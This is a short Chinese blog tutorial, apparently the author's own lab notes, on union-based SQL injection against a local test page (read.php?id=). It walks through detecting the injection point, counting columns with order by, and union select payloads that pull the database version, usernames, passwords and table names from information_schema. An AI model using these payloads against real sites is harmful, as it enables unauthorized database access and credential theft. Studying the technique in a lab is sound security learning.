eveplw

导航

2.SQL注入-查询漏洞一

一.注入步骤

1.通过 and 1=1,and1=2来判断是否存在注入点。如果结果不一致,则说明我们的SQL语句被执行了。

2.通过观察或报错信息来判断注入点的数据类型,数字型,字符型,搜索型。

3.通过order by来确定主查询数目。order by本质是一个排序的语法,但是order by有一个条件,就是排序必须建立在正确的主查询条数上。所以在注入中用

order by并不是为了排序,而是为了确认主查询的条数,确保union select的查询数与主查询一致。order by只会在超出主查询列数后才会报错,小于或等于

主查询列数不报错。

4.使用union select查询,将主查询项改成负数或不存在。

 后台源码:



# union联合查询的前提,列数相等,类型兼容
select * from article where id = -1 union select 1,2,3,4,5....

# 如果不知道列数的情况下,可以通过猜测的方式来使用select * from table,通常表名是起的有意义的。

http://192.168.19.130:8443/security/read.php?id=1 order by 6

http://192.168.19.130:8443/security/read.php?id=1 union select * from article
http://192.168.19.130:8443/security/read.php?id=1 union select 1,2,3,4,5 from article

http://192.168.19.130:8443/security/read.php?id=-1 union select 1,2,3,4,5 from article


 http://192.168.19.130:8443/security/read.php?id=-1

union select 1,2,version(),database(),5 from article

 http://192.168.19.130:8443/security/read.php?id=-1 union select 1,2,

(select username from user limit 1),

(select password from user limit 1),5 from article

5.通过information_schema进行所有内容查询,得知库名后首先查询表:

http://192.168.19.130:8443/security/read.php?id=-1 union select 1,2,3,
(select group_concat(table_name)
from information_schema.tables where table_schema='learn'),5

 

posted on 2022-07-30 16:14  eveplw  阅读(151)  评论(0编辑  收藏  举报